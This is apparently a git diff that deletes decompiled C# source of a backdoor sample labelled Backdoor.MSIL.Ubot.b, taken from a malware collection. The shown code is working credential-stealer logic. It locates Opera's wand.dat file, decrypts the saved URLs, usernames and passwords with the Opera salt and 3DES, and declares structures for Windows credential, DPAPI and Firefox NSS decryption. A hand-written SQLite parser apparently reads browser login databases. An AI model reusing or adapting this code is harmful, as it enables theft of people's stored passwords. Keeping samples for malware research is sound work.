"\\Opera\\Opera\\profile\\wand.dat")) - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path += "\\Opera\\Opera\\profile\\wand.dat"; - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.version2(); - } - return (object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoginData; - } - - private static void version2() - { - try - { - byte[] sourceArray = System.IO.File.ReadAllBytes(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path); - int num1 = checked (sourceArray.Length - 5); - int index1 = 0; - while (index1 <= num1) - { - if (sourceArray[index1] == (byte) 0 && sourceArray[checked (index1 + 1)] == (byte) 0 && sourceArray[checked (index1 + 2)] == (byte) 0 && sourceArray[checked (index1 + 3)] == (byte) 8) - { - int num2 = (int) sourceArray[checked (index1 + 15)]; - byte[] numArray1 = new byte[8]; - byte[] numArray2 = new byte[checked (num2 - 1 + 1)]; - Array.Copy((Array) sourceArray, checked (index1 + 4), (Array) numArray1, 0, numArray1.Length); - Array.Copy((Array) sourceArray, checked (index1 + 16), (Array) numArray2, 0, numArray2.Length); - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DOutput = Conversions.ToString(Microsoft.VisualBasic.CompilerServices.Operators.AddObject((object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DOutput, Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.decrypt2_method(numArray1, numArray2), (object) "\r\n"))); - checked { index1 += 11 + num2; } - } - checked { ++index1; } - } - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DOutput.Split(Conversions.ToChar(Environment.NewLine)); - int index2 = 0; - do - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index2] = (string) null; - checked { ++index2; } - } - while (index2 <= 3); - int num3 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines.Length - 1); - int index3 = 0; - while (index3 <= num3) - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp = (string) null; - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp = (string) null; - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp = (string) null; - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c = 0; - try - { - if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Contains("http://") || LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Contains("https://") || LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Contains("ftp://")) - { - if (index3 != 0) - { - try - { - int num4 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Length - 1); - int num5 = 0; - while (num5 <= num4) - { - if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3][checked (num5 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c)] > '\u007F') - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Remove(checked (num5 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c), 1); - checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c; } - } - checked { ++num5; } - } - if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) == 1) - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3]; - else if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) == 2) - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3]; - if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Contains("ftp://")) - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3]; - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl = index3; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - else if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ftp) - { - if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) != 1) - { - if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) != 2) - goto label_51; - } - try - { - int num6 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Length - 1); - int num7 = 0; - while (num7 <= num6) - { - if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3][checked (num7 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c)] > '\u007F') - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Remove(checked (num7 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c), 1); - checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c; } - } - checked { ++num7; } - } - if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) == 1) - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3]; - else if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) == 2) - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3]; - checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1; } - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ftp = false; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl != 0) - { - if (index3 != checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl + 2)) - { - if (index3 != checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl + 4)) - goto label_51; - } - try - { - int num8 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Length - 1); - int num9 = 0; - while (num9 <= num8) - { - if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3][checked (num9 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c)] > '\u007F') - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Remove(checked (num9 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c), 1); - checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c; } - } - checked { ++num9; } - } - if (index3 == checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl + 2)) - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3]; - else if (index3 == checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl + 4)) - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3]; - checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_51: - try - { - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp, (string) null, false) != 0) - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrl[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp; - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp, (string) null, false) != 0) - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUser[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp; - if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp, (string) null, false) != 0) - { - try - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPass[checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1 - 1)] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - checked { ++index3; } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - int num = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrl.Length - 1); - int index = 0; - while (index <= num && Microsoft.VisualBasic.CompilerServices.Operators.CompareString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrl[index], "", false) != 0) - { - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoginData[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c2] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrl[index]; - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoginData[checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c2 + 1)] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUser[index]; - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoginData[checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c2 + 2)] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPass[index]; - checked { LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c2 += 3; } - checked { ++index; } - } - } - - public static object decrypt2_method(byte[] key, byte[] encrypt_data) - { - object obj; - try - { - MD5CryptoServiceProvider cryptoServiceProvider1 = new MD5CryptoServiceProvider(); - cryptoServiceProvider1.Initialize(); - byte[] numArray1 = new byte[checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length + (key.Length - 1) + 1)]; - Array.Copy((Array) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt, (Array) numArray1, LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length); - Array.Copy((Array) key, 0, (Array) numArray1, LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length, key.Length); - byte[] hash1 = cryptoServiceProvider1.ComputeHash(numArray1); - byte[] numArray2 = new byte[checked (hash1.Length + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length + (key.Length - 1) + 1)]; - Array.Copy((Array) hash1, (Array) numArray2, hash1.Length); - Array.Copy((Array) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt, 0, (Array) numArray2, hash1.Length, LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length); - Array.Copy((Array) key, 0, (Array) numArray2, checked (hash1.Length + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length), key.Length); - byte[] hash2 = cryptoServiceProvider1.ComputeHash(numArray2); - TripleDESCryptoServiceProvider cryptoServiceProvider2 = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider2.Mode = CipherMode.CBC; - cryptoServiceProvider2.Padding = PaddingMode.None; - byte[] destinationArray1 = new byte[24]; - byte[] destinationArray2 = new byte[8]; - Array.Copy((Array) hash1, (Array) destinationArray1, hash1.Length); - Array.Copy((Array) hash2, 0, (Array) destinationArray1, hash1.Length, 8); - Array.Copy((Array) hash2, 8, (Array) destinationArray2, 0, 8); - cryptoServiceProvider2.Key = destinationArray1; - cryptoServiceProvider2.IV = destinationArray2; - obj = (object) Encoding.Unicode.GetString(cryptoServiceProvider2.CreateDecryptor().TransformFinalBlock(encrypt_data, 0, encrypt_data.Length)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - private struct CREDENTIAL - { - public IntPtr dwFlags; - public IntPtr dwType; - public IntPtr lpstrTargetName; - public IntPtr lpstrComment; - public System.Runtime.InteropServices.ComTypes.FILETIME ftLastWritten; - public IntPtr dwCredentialBlobSize; - public IntPtr lpbCredentialBlob; - public IntPtr dwPersist; - public IntPtr dwAttributeCount; - public IntPtr lpAttributes; - public IntPtr lpstrTargetAlias; - public IntPtr lpUserName; - } - - [System.Flags] - public enum CryptProtectPromptFlags - { - CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1, - CRYPTPROTECT_PROMPT_ON_PROTECT = 2, - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct DATA_BLOB - { - public int cbData; - public IntPtr pbData; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct CRYPTPROTECT_PROMPTSTRUCT - { - public int cbSize; - public LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CryptProtectPromptFlags dwPromptFlags; - public IntPtr hwndApp; - public string szPrompt; - } - - public struct TSECItem - { - public int SECItemType; - public int SECItemData; - public int SECItemLen; - } - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate long DLLFunctionDelegate(string configdir); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate long DLLFunctionDelegate2(); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate long DLLFunctionDelegate3(long slot, bool loadCerts, long wincx); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int DLLFunctionDelegate4( - IntPtr arenaOpt, - IntPtr outItemOpt, - StringBuilder inStr, - int inLen); - - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - public delegate int DLLFunctionDelegate5( - ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem data, - ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem result, - int cx); -} diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyApplication.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyApplication.cs deleted file mode 100644 index 0494c06c..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyComputer.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyComputer.cs deleted file mode 100644 index fb2ac7b4..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyProject.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyProject.cs deleted file mode 100644 index 9e285667..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/SQLiteHandler.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/SQLiteHandler.cs deleted file mode 100644 index ea8333f3..00000000 --- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/SQLiteHandler.cs +++ /dev/null @@ -1,427 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SQLiteHandler -// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Runtime.CompilerServices; -using System.Text; - -public class SQLiteHandler -{ - private byte[] db_bytes; - private ushort page_size; - private ulong encoding; - private SQLiteHandler.sqlite_master_entry[] master_table_entries; - private byte[] SQLDataTypeSize; - private SQLiteHandler.table_entry[] table_entries; - private string[] field_names; - - private int GVL(int startIndex) - { - if (startIndex > this.db_bytes.Length) - return 0; - int num1 = startIndex; - int num2 = checked (startIndex + 8); - int index = num1; - while (index <= num2) - { - if (index > checked (this.db_bytes.Length - 1)) - return 0; - if (((int) this.db_bytes[index] & 128) != 128) - return index; - checked { ++index; } - } - return checked (startIndex + 8); - } - - private long CVL(int startIndex, int endIndex) - { - checked { ++endIndex; } - byte[] numArray = new byte[8]; - object Left = (object) checked (endIndex - startIndex); - bool flag = false; - if (Conversions.ToBoolean(Operators.OrObject(Operators.CompareObjectEqual(Left, (object) 0, false), Operators.CompareObjectGreater(Left, (object) 9, false)))) - return 0; - if (Operators.ConditionalCompareObjectEqual(Left, (object) 1, false)) - { - numArray[0] = checked ((byte) ((int) this.db_bytes[startIndex] & (int) sbyte.MaxValue)); - return BitConverter.ToInt64(numArray, 0); - } - if (Operators.ConditionalCompareObjectEqual(Left, (object) 9, false)) - flag = true; - int num1 = 1; - int num2 = 7; - int index1 = 0; - if (flag) - { - numArray[0] = this.db_bytes[checked (endIndex - 1)]; - checked { --endIndex; } - index1 = 1; - } - int num3 = checked (endIndex - 1); - int num4 = startIndex; - int index2 = num3; - while (index2 >= num4) - { - if (checked (index2 - 1) >= startIndex) - { - numArray[index1] = checked ((byte) ((int) unchecked ((byte) ((uint) this.db_bytes[index2] >> (checked (num1 - 1) & 7))) & (int) byte.MaxValue >> num1 | (int) unchecked ((byte) ((uint) this.db_bytes[checked (index2 - 1)] << (num2 & 7))))); - checked { ++num1; } - checked { ++index1; } - checked { --num2; } - } - else if (!flag) - numArray[index1] = checked ((byte) ((int) unchecked ((byte) ((uint) this.db_bytes[index2] >> (checked (num1 - 1) & 7))) & (int) byte.MaxValue >> num1)); - checked { index2 += -1; } - } - return BitConverter.ToInt64(numArray, 0); - } - - private bool IsOdd(long value) => (value & 1L) == 1L; - - private ulong ConvertToInteger(int startIndex, int Size) - { - if (Size > 8 | Size == 0) - return 0; - ulong integer = 0; - int num1 = checked (Size - 1); - int num2 = 0; - while (num2 <= num1) - { - integer = integer << 8 | (ulong) this.db_bytes[checked (startIndex + num2)]; - checked { ++num2; } - } - return integer; - } - - private void ReadMasterTable(ulong Offset) - { - if (this.db_bytes[checked ((int) Offset)] == (byte) 13) - { - ushort uint16 = Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M)); - int num1 = 0; - if (this.master_table_entries != null) - { - num1 = this.master_table_entries.Length; - this.master_table_entries = (SQLiteHandler.sqlite_master_entry[]) Utils.CopyArray((Array) this.master_table_entries, (Array) new SQLiteHandler.sqlite_master_entry[checked (this.master_table_entries.Length + (int) uint16 + 1)]); - } - else - this.master_table_entries = new SQLiteHandler.sqlite_master_entry[checked ((int) uint16 + 1)]; - int num2 = (int) uint16; - int num3 = 0; - while (num3 <= num2) - { - ulong integer = this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 8M), new Decimal(checked (num3 * 2)))), 2); - if (Decimal.Compare(new Decimal(Offset), 100M) != 0) - checked { integer += Offset; } - object Left1 = (object) this.GVL(checked ((int) integer)); - this.CVL(checked ((int) integer), 